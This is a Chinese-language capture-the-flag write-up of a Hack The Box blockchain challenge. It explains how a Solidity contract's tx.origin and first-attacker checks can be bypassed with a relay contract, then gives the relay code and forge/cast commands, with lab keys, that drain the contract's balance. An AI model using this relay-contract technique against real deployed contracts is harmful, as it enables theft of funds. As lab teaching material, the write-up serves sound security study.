创建了一个Creature的类,加以调用,这个部分没啥
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Creature} from "./Creature.sol";
contract Setup {
Creature public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Creature{value: 10}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
Creature.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 1000;
}
function attack(uint256 _damage) external {
if (aggro == address(0)) {
aggro = msg.sender;
}
if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
} else {
lifePoints -= 0;
}
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
}
constructor() payable {
lifePoints = 1000;
}
这里在初次调用attack()时,首先判断aggro是否为空,如为空则将第一个攻击函数调用者的地址赋予它。
这里可以把aggro看作是生物的仇恨目标,谁先发起攻击,他就一直仇恨谁。
在之后的判断的逻辑中需要满足,后来攻击者的地址不能等于第一个攻击者的地址。
function attack(uint256 _damage) external {
if (aggro == address(0)) {
aggro = msg.sender;
}
...
即可让lifePointes减少对应的hp也就是_damage变量lifePoints -= _damage
if (_isOffBalance() && aggro != msg.sender) { lifePoints -= _damage; } else { lifePoints -= 0; }}
所以接下来看_isOffBalance()是如何构造的
function _isOffBalance() private view returns (bool) { return tx.origin != msg.sender; }
这里的tx.origin是合约初始调用地址
而msg.sender则是最近发送者的合约地址。
用一个简单的合约调用链来看下,方便理解
EOA —> 合约A —>合约B
这里EOA是我们的原始地址
举个例子,如果我们的原始合约地址是0x0010
当在调用合约A时,合约A里两个变量:
msg.sender=0x0010
tx.origin=0x0010
此时如果我们通过合约A再调用合约B
在合约B中看两个变量:
msg.sender=0x0011 #<-这个是合约A的合约地址
tx.origin=0x0010
而tx.origin则是不会变的,依旧是EOA最初的地址,tx.origin代表的就是原始合约地址
这是两者最显著的区别。
再回过头去看这个函数,其实就是原始调用地址不能等于最近调用者的合约地址。
function _isOffBalance() private view returns (bool) { return tx.origin != msg.sender; }
要用中间在做一层合约,去调用这个合约,即刻达成返回true,就像下面这样
EOA —> 合约A —>合约B
为此我们需要构造一个合约来利用
除此之外,我们还需要关注之前的aggro != msg.sender也要满足
至此我们现在需要满足以下几个条件,即可发起攻击:
1.为满足aggro != msg.sender,我们需要先用一个诱饵地址去吸引仇恨
2.在满足1的前提下,为满足tx.origin != msg.sender须通过一个新合约去调用这个游戏的合约。
可能有师傅条件一多就有点混了,会想用户和合约中继分别发起攻击,不分前后顺序可不可以?
答案是不行
原因是,虽然不分前后顺序确实都可以满足aggro != msg.sender,但是却无法满足tx.origin != msg.sender
如果首先发起攻击请求的是中继合约
1.aggro目标指向了中继合约用户,然后aggro != msg.senderfalse
2.再EOA发起,aggro != msg.senderTrue,但是这里tx.origin != msg.sender会false,因为首先tx.origin代表的合约原始地址,msg.sender则是距离游戏合约最近一个调用的地址,这里因为本次调用者是EOA,导致原始调用是EOA的同时距离最近调用者也是EOA。所以俩值一毛一样了..
如果顺序反过来,由EOA先调用,再调用中继合约
1.aggro目标指向了EOA用户,然后aggro != msg.senderfalse
2.再用中继合约,tx.origin != msg.sender,tx.origin等于原始调用者EOA,msg.sender等于中继合约,于是True,所以可以发起攻击。
中继合约构造
1.首先我们要构造一个基于本游戏合约的中继合约需要引入他的对象,其实有点类似于java那种引入一个外部库的类,然后用地址将其实例化。
我们先看下游戏自己的sol咋写的
// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;contract Creature { uint256 public lifePoints; address public aggro; constructor() payable { lifePoints = 1000; } function attack(uint256 _damage) external { if (aggro == address(0)) { aggro = msg.sender; } if (_isOffBalance() && aggro != msg.sender) { lifePoints -= _damage; } else { lifePoints -= 0; } } function loot() external { require(lifePoints == 0, "Creature is still alive!"); payable(msg.sender).transfer(address(this).balance); } function _isOffBalance() private view returns (bool) { return tx.origin != msg.sender; }}
└─$ cat src/attc.sol // SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;import {Creature} from "./Creature.sol";contract flower{ Creature public creture; constructor (Creature _creature){ creture = _creature; } function attackA(uint256 _damage) external{ creture.attack(_damage); }}
- 首先用forge初始化一下合约目录
└─$ ~/tools/blockchain/forge init --forceTarget directory is not empty, but `--force` was specifiedInitializing /home/xxxx/Desktop/blockchain_distract_and_destroy...Installing forge-std in /home/xxxx/Desktop/blockchain_distract_and_destroy/lib/forge-std (url: Some("https://github.com/foundry-rs/forge-std"), tag: None) Installed forge-std v1.7.6 Initialized forge project
└─$ ls cache foundry.toml lib out README.md script src test
2.在链上线合约
用游戏给我们的私钥进行签名认证。然后在将target address作为Creature _creature的生成初始化变量传入到里面的对象,这样我们的合约内的对象就与游戏的对象连到了一起。
2345678forge create src/attc.sol:flower --rpc-url "http://94.237.52.48:35311/rpc" --private-key 0x8a277e85b81b9f66613490f2ba53a40bce5a65f6aecce9e06f3f59aa48ec271c --constructor-args 0x276B1607C79025D125E010740cA3ECD3656F9C54[⠊] Compiling...[⠰] Compiling 27 files with 0.8.24[⠘] Solc 0.8.24 finished in 4.36sCompiler run successful!Deployer: 0x0B0c991073613cF3D49cf8360696F9046aEc871fDeployed to: 0xF68da11A8582ba729e9d8724a4d02718D5fd5207Transaction hash: 0x93d17dcc93173ea6c3390c25ee6e44930c5b602d90727bbc18af92271939f7b0
Deployer: 部署者地址,即发起部署操作的账户地址。在这里是 >0x0B0c991073613cF3D49cf8360696F9046aEc871f。
Deployed to: 合约部署地址,即智能合约在区块链上的部署地址。在这里是 >0xF68da11A8582ba729e9d8724a4d02718D5fd5207。
Transaction hash: 交易哈希,即进行合约部署操作的交易的哈希值。它用于在区块链上查找该交易的详情和状态。在这里>0x93d17dcc93173ea6c3390c25ee6e44930c5b602d90727bbc18af92271939f7b0
- 先用EOA,也就是用户直接对目标地址发起请求
cast send "0x6a1A3839D25AD2A31Ed0c1d5Cbc10e08958Bb05f" --rpc-url http://94.237.52.48:35311/rpc --private-key 0xf6235a58909371d81b25c276be0fe1f5e66dbf2a8ee15a25476c4139bb56e87e "attack(uint256)" 0
cast send "0xF68da11A8582ba729e9d8724a4d02718D5fd5207" --rpc-url http://94.237.52.48:35311/rpc --private-key 0xf6235a58909371d81b25c276be0fe1f5e66dbf2a8ee15a25476c4139bb56e87e "attackA(uint256)" 1000
cast send "0x6a1A3839D25AD2A31Ed0c1d5Cbc10e08958Bb05f" --rpc-url http://94.237.52.48:35311/rpc --private-key 0xf6235a58909371d81b25c276be0fe1f5e66dbf2a8ee15a25476c4139bb56e87e "loot()"
来源 || 響
编辑 || 轩白
原文始发于微信公众号(隼目安全):【相关分享】htb—ctf-blockchain/Distract_and Destroy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论